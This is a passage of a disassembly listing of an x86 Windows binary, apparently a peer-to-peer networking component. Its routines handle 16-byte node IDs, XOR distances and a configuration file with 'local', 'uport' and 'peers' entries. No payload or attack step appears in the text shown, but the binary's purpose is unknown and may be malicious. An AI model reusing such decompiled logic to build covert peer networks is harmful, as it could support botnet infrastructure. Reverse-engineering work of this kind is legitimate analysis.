		movzx	esi, byte ptr [edx]
		shl	eax, 8
		add	eax, esi
		inc	edx
		mov	[ecx], edx
		movzx	esi, byte ptr [edx]
		shl	eax, 8
		add	eax, esi
		inc	edx
		mov	[ecx], edx
		pop	esi
		retn
sub_409735	endp


; =============== S U B	R O U T	I N E =======================================



sub_409765	proc near		; CODE XREF: sub_40A582+1Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		xor	edx, edx


loc_409770:				; CODE XREF: sub_409765+18j
		mov	eax, [ecx]
		mov	al, [eax]
		mov	[edx+esi], al
		inc	dword ptr [ecx]
		inc	edx
		cmp	edx, 10h
		jl	short loc_409770
		mov	eax, esi
		pop	esi
		retn
sub_409765	endp


; =============== S U B	R O U T	I N E =======================================



sub_409783	proc near		; CODE XREF: sub_40981B+12p
					; sub_40A4A4+35p ...

arg_0		= dword	ptr  4
arg_4		= word ptr  8

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	cx, [esp+arg_4]
		mov	[edx], cl
		inc	dword ptr [eax]
		mov	edx, [eax]
		mov	[edx], ch
		inc	dword ptr [eax]
		mov	eax, [eax]
		retn
sub_409783	endp


; =============== S U B	R O U T	I N E =======================================



sub_40979B	proc near		; CODE XREF: sub_409AD5+4Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	ecx, [esp+arg_4]
		mov	[edx], cl
		inc	dword ptr [eax]
		mov	edx, [eax]
		shr	ecx, 8
		mov	[edx], cl
		inc	dword ptr [eax]
		mov	edx, [eax]
		shr	ecx, 8
		mov	[edx], cl
		inc	dword ptr [eax]
		mov	edx, [eax]
		shr	ecx, 8
		mov	[edx], cl
		inc	dword ptr [eax]
		mov	eax, [eax]
		retn
sub_40979B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4097C7	proc near		; CODE XREF: sub_40A4A4+11p
					; sub_40A4A4+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [eax]
		mov	edx, ecx
		shr	edx, 18h
		mov	[esi], dl
		inc	dword ptr [eax]
		mov	esi, [eax]
		mov	edx, ecx
		shr	edx, 10h
		mov	[esi], dl
		inc	dword ptr [eax]
		mov	esi, [eax]
		mov	edx, ecx
		shr	edx, 8
		mov	[esi], dl
		inc	dword ptr [eax]
		mov	edx, [eax]
		mov	[edx], cl
		inc	dword ptr [eax]
		mov	eax, [eax]
		pop	esi
		retn
sub_4097C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4097FB	proc near		; CODE XREF: sub_409AD5+38p
					; sub_409AD5+44p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	ebx
		xor	edx, edx
		push	esi


loc_409803:				; CODE XREF: sub_4097FB+1Bj
		mov	eax, [ecx]
		mov	esi, [esp+8+arg_4]
		mov	bl, [edx+esi]
		mov	[eax], bl
		inc	dword ptr [ecx]
		mov	eax, [ecx]
		inc	edx
		cmp	edx, 10h
		jl	short loc_409803
		pop	esi
		pop	ebx
		retn
sub_4097FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40981B	proc near		; CODE XREF: sub_409AD5+96p
					; sub_409AD5+A4p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		call	sub_40CD83
		mov	esi, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	sub_409783
		add	esp, 0Ch
		jmp	short loc_409848
; ---------------------------------------------------------------------------


loc_409837:				; CODE XREF: sub_40981B+31j
		movzx	eax, al
		push	eax
		inc	edi
		call	sub_40CF0C
		pop	ecx
		mov	ecx, [esi]
		mov	[ecx], al
		inc	dword ptr [esi]


loc_409848:				; CODE XREF: sub_40981B+1Aj
		mov	al, [edi]
		test	al, al
		jnz	short loc_409837
		pop	edi
		pop	esi
		retn
sub_40981B	endp


; =============== S U B	R O U T	I N E =======================================



sub_409851	proc near		; CODE XREF: sub_40A190+2Dp
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_409863
		mov	eax, [eax+4]
		test	eax, eax
		mov	[ecx], eax
		jz	short loc_409863
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_409863:				; CODE XREF: sub_409851+4j
					; sub_409851+Dj
		xor	eax, eax
		retn
sub_409851	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409866	proc near		; CODE XREF: sub_40BFB2+22p

var_1C		= byte ptr -1Ch
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, 40000h
		push	ebx
		call	sub_40D0BB
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		call	sub_40CF34
		cdq
		mov	ecx, 0F000h
		idiv	ecx
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	[ebp+var_4]
		mov	esi, offset aUport ; "uport"
		lea	edi, [ebp+var_C]
		push	offset a0	; "0"
		add	edx, 400h
		mov	[eax], edx
		movsd
		lea	eax, [ebp+var_C]
		movsw
		push	eax
		mov	edi, offset aLocal ; "local"
		push	edi
		call	sub_409E16
		push	[ebp+var_4]
		call	sub_40CE59
		mov	esi, [ebp+arg_8]
		add	esp, 20h
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_40990D
		call	sub_40CF34
		cdq
		mov	ecx, 0F000h
		idiv	ecx
		lea	eax, [edx+400h]
		push	eax
		mov	[esi], eax
		lea	eax, [ebp+var_1C]
		push	offset aD	; "%d"
		push	eax
		call	sub_40CE18
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		call	sub_409E56
		add	esp, 1Ch


loc_40990D:				; CODE XREF: sub_409866+6Dj
		push	[ebp+arg_0]
		mov	esi, [ebp+var_4]
		push	ebx
		push	esi
		push	offset aPeers	; "peers"
		call	sub_409DA5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40993B
		test	esi, esi
		jz	short loc_409931
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_409931:				; CODE XREF: sub_409866+C2j
		or	eax, 0FFFFFFFFh


loc_409934:				; CODE XREF: sub_409866+17Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
; ---------------------------------------------------------------------------


loc_40993B:				; CODE XREF: sub_409866+BEj
		and	[ebp+arg_0], 0
		cmp	byte ptr [esi],	0
		jz	loc_4099D7
		mov	ebx, [ebp+arg_10]


loc_40994B:				; CODE XREF: sub_409866+165j
		push	3Dh
		push	esi
		call	sub_40CECD
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40995C
		mov	byte ptr [eax],	0


loc_40995C:				; CODE XREF: sub_409866+F1j
		push	20h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_409973
		mov	ecx, eax
		call	sub_40A0F0
		mov	edi, eax
		jmp	short loc_409975
; ---------------------------------------------------------------------------


loc_409973:				; CODE XREF: sub_409866+100j
		xor	edi, edi


loc_409975:				; CODE XREF: sub_409866+10Bj
		push	esi
		push	edi
		call	sub_409F2C
		push	esi
		call	sub_40CD83
		lea	esi, [esi+eax+1]
		push	8
		push	esi
		call	sub_40C6D8
		add	esi, 8
		push	4
		push	esi
		mov	[edi+10h], eax
		call	sub_40C6D8
		movzx	eax, ax
		add	esi, 4
		push	2
		push	esi
		mov	[edi+14h], eax
		call	sub_40C6D8
		push	esi
		mov	[edi+1Ch], al
		call	sub_40CD83
		add	esp, 28h
		push	edi
		mov	ecx, ebx
		lea	esi, [esi+eax+1]
		call	sub_4151CB
		inc	[ebp+arg_0]
		cmp	byte ptr [esi],	0
		jnz	loc_40994B
		cmp	[ebp+arg_0], 0
		jnz	short loc_4099EA


loc_4099D7:				; CODE XREF: sub_409866+DCj
		push	0FFFFFFFEh
		pop	esi


loc_4099DA:				; CODE XREF: sub_409866+187j
		push	[ebp+var_4]
		call	sub_40D0B6
		pop	ecx
		mov	eax, esi
		jmp	loc_409934
; ---------------------------------------------------------------------------


loc_4099EA:				; CODE XREF: sub_409866+16Fj
		mov	esi, [ebx+4]
		jmp	short loc_4099DA
sub_409866	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4099EF	proc near		; CODE XREF: sub_40B56E+D9p

var_108		= byte ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		lea	eax, [esi+8]
		xor	edi, edi
		push	eax
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], eax
		call	ds:dword_4180DC
		mov	eax, [esi]
		test	eax, eax
		mov	ebx, offset aPeers ; "peers"
		jz	short loc_409A48


loc_409A1B:				; CODE XREF: sub_4099EF+3Ej
		mov	ecx, [eax]
		cmp	byte ptr [ecx+1Dh], 0
		jz	short loc_409A24
		inc	edi


loc_409A24:				; CODE XREF: sub_4099EF+32j
		test	eax, eax
		jz	short loc_409A2F
		mov	eax, [eax+4]
		test	eax, eax
		jnz	short loc_409A1B


loc_409A2F:				; CODE XREF: sub_4099EF+37j
		cmp	edi, 96h
		jle	short loc_409A48
		push	[ebp+arg_0]
		push	offset dword_41BDD8
		push	ebx
		call	sub_409DDF
		add	esp, 0Ch


loc_409A48:				; CODE XREF: sub_4099EF+2Aj
					; sub_4099EF+46j
		mov	edi, [esi]
		jmp	short loc_409AAF
; ---------------------------------------------------------------------------


loc_409A4C:				; CODE XREF: sub_4099EF+C2j
		mov	esi, [edi]
		cmp	byte ptr [esi+1Dh], 0
		jz	short loc_409AA8
		and	[ebp+arg_4], 0
		lea	eax, [ebp+arg_4]
		push	eax
		push	10h
		push	esi
		call	sub_40C7A1
		movzx	eax, byte ptr [esi+1Ch]
		push	eax
		push	dword ptr [esi+14h]
		lea	eax, [ebp+var_108]
		push	dword ptr [esi+10h]
		push	offset a08x04x02x ; "%08X%04X%02X"
		push	eax
		call	sub_40CE18
		push	[ebp+arg_0]
		lea	eax, [ebp+var_108]
		push	eax
		push	[ebp+arg_4]
		push	ebx
		call	sub_409E56
		add	esp, 30h
		inc	[ebp+var_4]
		cmp	[ebp+arg_4], 0
		jz	short loc_409AA8
		push	[ebp+arg_4]
		call	sub_40D0B6
		pop	ecx


loc_409AA8:				; CODE XREF: sub_4099EF+63j
					; sub_4099EF+AEj
		test	edi, edi
		jz	short loc_409AB3
		mov	edi, [edi+4]


loc_409AAF:				; CODE XREF: sub_4099EF+5Bj
		test	edi, edi
		jnz	short loc_409A4C


loc_409AB3:				; CODE XREF: sub_4099EF+BBj
		push	[ebp+var_8]
		call	ds:dword_4180E0
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4099EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_409AC6	proc near		; CODE XREF: sub_40C149+Dp
		mov	eax, ecx
		and	dword ptr [eax+8], 0
		retn
sub_409AC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_409ACD	proc near		; CODE XREF: sub_40C149+144p
		add	ecx, 8
		jmp	sub_4093F0
sub_409ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409AD5	proc near		; CODE XREF: sub_40C149+1Ep

var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1004h
		call	sub_4011B0
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		lea	eax, [ebp+var_1004]
		xor	esi, esi
		test	ebx, ebx
		push	edi
		mov	edi, ecx
		mov	[ebp+var_4], eax
		jz	short loc_409B06
		push	ebx
		call	sub_40CD83
		cmp	eax, 2
		pop	ecx
		jbe	short loc_409B06
		inc	esi


loc_409B06:				; CODE XREF: sub_409AD5+22j
					; sub_409AD5+2Ej
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_4097FB
		push	[ebp+arg_4]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_4097FB
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		call	sub_40979B
		add	esp, 18h
		test	esi, esi
		jbe	short loc_409B99
		mov	eax, [ebp+var_4]
		push	3Dh
		mov	byte ptr [eax],	2
		inc	[ebp+var_4]
		push	ebx
		call	sub_40CECD
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], esi
		jz	short loc_409B8D
		sub	esi, ebx
		lea	eax, [esi+1]
		push	eax
		call	sub_40D0BB
		push	esi
		push	[ebp+arg_8]
		mov	ebx, eax
		push	ebx
		call	sub_40CD9D
		lea	eax, [ebp+var_4]
		push	ebx
		push	eax
		mov	byte ptr [ebx+esi], 0
		call	sub_40981B
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_40981B
		add	esp, 20h
		test	ebx, ebx
		jz	short loc_409B99
		push	ebx
		call	sub_40D0B6
		jmp	short loc_409B98
; ---------------------------------------------------------------------------


loc_409B8D:				; CODE XREF: sub_409AD5+74j
		lea	eax, [ebp+var_4]
		push	ebx
		push	eax
		call	sub_40981B
		pop	ecx


loc_409B98:				; CODE XREF: sub_409AD5+B6j
		pop	ecx


loc_409B99:				; CODE XREF: sub_409AD5+58j
					; sub_409AD5+AEj
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_1004]
		sub	eax, ecx
		push	eax
		mov	[edi+4], eax
		call	sub_40D0BB
		pop	ecx
		lea	esi, [edi+8]
		push	eax
		mov	ecx, esi
		call	sub_408034
		push	dword ptr [edi+4]
		lea	eax, [ebp+var_1004]
		push	eax
		push	dword ptr [esi]
		call	sub_40CCF7
		push	0
		call	sub_40CFAE
		add	esp, 10h
		mov	[edi], eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_409AD5	endp


; =============== S U B	R O U T	I N E =======================================



sub_409BDD	proc near		; CODE XREF: sub_4049A1:loc_404A2Cp
		mov	eax, [ecx+8]
		test	eax, eax
		jz	short loc_409BEE
		cmp	dword ptr [ecx+4], 20h
		jb	short loc_409BEE
		add	eax, 10h
		retn
; ---------------------------------------------------------------------------


loc_409BEE:				; CODE XREF: sub_409BDD+5j
					; sub_409BDD+Bj
		xor	eax, eax
		retn
sub_409BDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_409BF1	proc near		; CODE XREF: sub_40A442+1Ep
					; sub_40A442+26p ...
		push	esi
		mov	esi, ecx
		and	dword ptr [esi], 0
		and	dword ptr [esi+4], 0
		lea	eax, [esi+8]
		push	eax
		call	ds:dword_4180D4
		mov	eax, esi
		pop	esi
		retn
sub_409BF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_409C09	proc near		; CODE XREF: sub_409C28+22p
					; sub_409C8E+34p

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_4093F0
		test	[esp+4+arg_0], 1
		jz	short loc_409C22
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_409C22:				; CODE XREF: sub_409C09+10j
		mov	eax, esi
		pop	esi
		retn	4
sub_409C09	endp


; =============== S U B	R O U T	I N E =======================================



sub_409C28	proc near		; CODE XREF: sub_409C66+12p

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, ecx
		push	esi
		mov	esi, [ebx]
		test	esi, esi
		jz	short loc_409C61
		push	edi


loc_409C33:				; CODE XREF: sub_409C28+36j
		cmp	[esp+0Ch+arg_0], 0
		jz	short loc_409C4F
		test	esi, esi
		jz	short loc_409C42
		mov	ecx, [esi]
		jmp	short loc_409C44
; ---------------------------------------------------------------------------


loc_409C42:				; CODE XREF: sub_409C28+14j
		xor	ecx, ecx


loc_409C44:				; CODE XREF: sub_409C28+18j
		test	ecx, ecx
		jz	short loc_409C4F
		push	1
		call	sub_409C09


loc_409C4F:				; CODE XREF: sub_409C28+10j
					; sub_409C28+1Ej
		mov	edi, [esi+4]
		push	esi
		mov	ecx, ebx
		call	sub_4041B2
		test	edi, edi
		mov	esi, edi
		jnz	short loc_409C33
		pop	edi


loc_409C61:				; CODE XREF: sub_409C28+8j
		pop	esi
		pop	ebx
		retn	4
sub_409C28	endp


; =============== S U B	R O U T	I N E =======================================



sub_409C66	proc near		; CODE XREF: sub_40442E+Cp
					; sub_40A48A+Cp
		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [edi+8]
		push	esi
		call	ds:dword_4180DC
		push	1
		mov	ecx, edi
		call	sub_409C28
		push	esi
		call	ds:dword_4180E0
		push	esi
		call	ds:dword_4180D8
		pop	edi
		pop	esi
		retn
sub_409C66	endp


; =============== S U B	R O U T	I N E =======================================



sub_409C8E	proc near		; CODE XREF: sub_40B56E+B4p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, ecx
		lea	ebp, [edi+8]
		push	ebp
		xor	bl, bl
		call	ds:dword_4180DC
		push	0
		call	sub_40CFAE
		mov	esi, [edi]
		pop	ecx
		mov	[esp+14h+var_4], eax
		jmp	short loc_409CE3
; ---------------------------------------------------------------------------


loc_409CB1:				; CODE XREF: sub_409C8E+57j
		mov	ecx, [esi]
		mov	eax, [esp+14h+var_4]
		sub	eax, [ecx]
		cmp	eax, 708h
		jle	short loc_409CD8
		push	1
		call	sub_409C09
		mov	ebx, [esi+4]
		push	esi
		mov	ecx, edi
		call	sub_4041B2
		mov	esi, ebx
		mov	bl, 1
		jmp	short loc_409CE3
; ---------------------------------------------------------------------------


loc_409CD8:				; CODE XREF: sub_409C8E+30j
		test	esi, esi
		jz	short loc_409CE7
		mov	esi, [esi+4]
		test	esi, esi
		jz	short loc_409CE7


loc_409CE3:				; CODE XREF: sub_409C8E+21j
					; sub_409C8E+48j
		test	esi, esi
		jnz	short loc_409CB1


loc_409CE7:				; CODE XREF: sub_409C8E+4Cj
					; sub_409C8E+53j
		push	ebp
		call	ds:dword_4180E0
		pop	edi
		pop	esi
		pop	ebp
		mov	al, bl
		pop	ebx
		pop	ecx
		retn
sub_409C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409CF6	proc near		; CODE XREF: sub_40A9A0+5Fp
					; sub_40B9D7+D5p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		lea	eax, [esi+8]
		push	edi
		push	eax
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], eax
		call	ds:dword_4180DC
		mov	esi, [esi]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_409D34
; ---------------------------------------------------------------------------


loc_409D17:				; CODE XREF: sub_409CF6+40j
		mov	edi, [esi]
		cmp	ebx, [edi+4]
		jnz	short loc_409D31
		push	ebx
		push	dword ptr [edi+8]
		push	[ebp+arg_0]
		call	sub_40CD18
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_409D4B


loc_409D31:				; CODE XREF: sub_409CF6+26j
		mov	esi, [esi+4]


loc_409D34:				; CODE XREF: sub_409CF6+1Fj
		test	esi, esi
		jnz	short loc_409D17
		push	0Ch
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_409D69
		and	[eax+8], esi
		mov	esi, eax
		jmp	short loc_409D6B
; ---------------------------------------------------------------------------


loc_409D4B:				; CODE XREF: sub_409CF6+39j
		push	0
		call	sub_40CFAE
		pop	ecx
		mov	[edi], eax
		xor	bl, bl


loc_409D57:				; CODE XREF: sub_409CF6+ADj
		push	[ebp+var_4]
		call	ds:dword_4180E0
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_409D69:				; CODE XREF: sub_409CF6+4Cj
		xor	esi, esi


loc_409D6B:				; CODE XREF: sub_409CF6+53j
		push	0
		call	sub_40CFAE
		push	ebx
		mov	[esi], eax
		mov	[esi+4], ebx
		call	sub_40D0BB
		pop	ecx
		pop	ecx
		lea	edi, [esi+8]
		push	eax
		mov	ecx, edi
		call	sub_408034
		push	ebx
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40CCF7
		mov	ecx, [ebp+var_8]
		add	esp, 0Ch
		push	esi
		call	sub_4151CB
		mov	bl, 1
		jmp	short loc_409D57
sub_409CF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409DA5	proc near		; CODE XREF: sub_409866+B4p

var_108		= byte ptr -108h
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	104h
		push	[ebp+arg_C]
		call	ds:dword_418108
		lea	eax, [ebp+var_108]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_418074
		leave
		retn
sub_409DA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409DDF	proc near		; CODE XREF: sub_4099EF+51p

var_108		= byte ptr -108h
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	104h
		push	[ebp+arg_8]
		call	ds:dword_418108
		lea	eax, [ebp+var_108]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_418070
		leave
		retn
sub_409DDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409E16	proc near		; CODE XREF: sub_409866+56p

var_108		= byte ptr -108h
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	104h
		push	[ebp+arg_14]
		call	ds:dword_418108
		lea	eax, [ebp+var_108]
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41806C
		leave
		retn
sub_409E16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409E56	proc near		; CODE XREF: sub_409866+9Fp
					; sub_4099EF+9Fp

var_108		= byte ptr -108h
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	104h
		push	[ebp+arg_C]
		call	ds:dword_418108
		lea	eax, [ebp+var_108]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_418068
		leave
		retn
sub_409E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_409E90	proc near		; CODE XREF: sub_40A1D1+53p
					; sub_40A3A4+52p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		mov	edx, [esp+arg_4]
		push	esi
		push	edi
		push	10h
		mov	edi, ecx
		pop	esi


loc_409E9F:				; CODE XREF: sub_409E90+16j
		mov	al, [edx]
		mov	[ecx], al
		inc	ecx
		inc	edx
		dec	esi
		jnz	short loc_409E9F
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_409E90	endp


; =============== S U B	R O U T	I N E =======================================



sub_409EAD	proc near		; CODE XREF: sub_40AD74+83p
					; sub_40B8DC+70p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	10h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CD18
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
sub_409EAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_409EC5	proc near		; CODE XREF: sub_40A1D1+3Fp
					; sub_40AA77+87p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi


loc_409ED0:				; CODE XREF: sub_409EC5+17j
		mov	dl, [eax]
		cmp	dl, [ecx]
		jnz	short loc_409EE2
		inc	esi
		inc	eax
		inc	ecx
		cmp	esi, 10h
		jl	short loc_409ED0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409EE2:				; CODE XREF: sub_409EC5+Fj
		movzx	eax, byte ptr [eax]
		cmp	al, [ecx]
		pop	esi
		sbb	eax, eax
		neg	eax
		retn
sub_409EC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_409EED	proc near		; CODE XREF: sub_40A1D1+13p
					; sub_40A1D1+32p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_0]
		mov	edx, [esp+arg_8]
		push	ebx
		push	esi
		mov	esi, [esp+8+arg_4]
		push	edi
		push	10h
		mov	eax, ecx
		pop	edi


loc_409F01:				; CODE XREF: sub_409EED+1Ej
		mov	bl, [esi]
		xor	bl, [edx]
		mov	[ecx], bl
		inc	ecx
		inc	edx
		inc	esi
		dec	edi
		jnz	short loc_409F01
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_409EED	endp


; =============== S U B	R O U T	I N E =======================================



sub_409F11	proc near		; CODE XREF: sub_40A442+3Bp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi


loc_409F19:				; CODE XREF: sub_409F11+14j
		call	sub_40CF34
		mov	[esi+edi], al
		inc	esi
		cmp	esi, 10h
		jl	short loc_409F19
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_409F11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409F2C	proc near		; CODE XREF: sub_409866+111p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_4], esi
		jnz	short loc_409F3C
		xor	eax, eax
		jmp	short loc_409F87
; ---------------------------------------------------------------------------


loc_409F3C:				; CODE XREF: sub_409F2C+Aj
		push	[ebp+arg_4]
		call	sub_40CD83
		test	al, 1
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_409F4F
		dec	[ebp+var_4]


loc_409F4F:				; CODE XREF: sub_409F2C+1Ej
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		xor	eax, eax
		mov	edi, ebx
		stosd
		stosd
		stosd
		stosd


loc_409F5C:				; CODE XREF: sub_409F2C+55j
		cmp	[ebp+var_4], 0
		jle	short loc_409F83
		push	2
		push	[ebp+arg_4]
		call	sub_40C6D8
		test	eax, eax
		pop	ecx
		pop	ecx
		jl	short loc_409F8A
		add	[ebp+arg_4], 2
		sub	[ebp+var_4], 2
		mov	[esi+ebx], al
		inc	esi
		cmp	esi, 10h
		jl	short loc_409F5C


loc_409F83:				; CODE XREF: sub_409F2C+34j
		mov	eax, ebx


loc_409F85:				; CODE XREF: sub_409F2C+60j
		pop	edi
		pop	ebx


loc_409F87:				; CODE XREF: sub_409F2C+Ej
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_409F8A:				; CODE XREF: sub_409F2C+44j
		xor	eax, eax
		jmp	short loc_409F85
sub_409F2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_409F8E	proc near		; CODE XREF: sub_40A060+22p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	esi, ecx
		call	sub_40D0BB
		push	edi
		push	[esp+10h+arg_0]
		mov	[esi], eax
		push	eax
		call	sub_40CCF7
		mov	eax, [esp+18h+arg_8]
		mov	[esi+8], eax
		mov	eax, [esp+18h+arg_C]
		add	esp, 10h
		mov	[esi+4], edi
		mov	[esi+0Ch], eax
		pop	edi
		mov	eax, esi
		pop	esi
		retn	10h
sub_409F8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_409FC4	proc near		; CODE XREF: sub_40A060+56p
					; sub_40B75C+14p ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		push	dword ptr [esi]
		call	sub_40D0B6
		test	[esp+8+arg_0], 1
		pop	ecx
		jz	short loc_409FDD
		push	esi
		call	sub_40D0B6
		pop	ecx


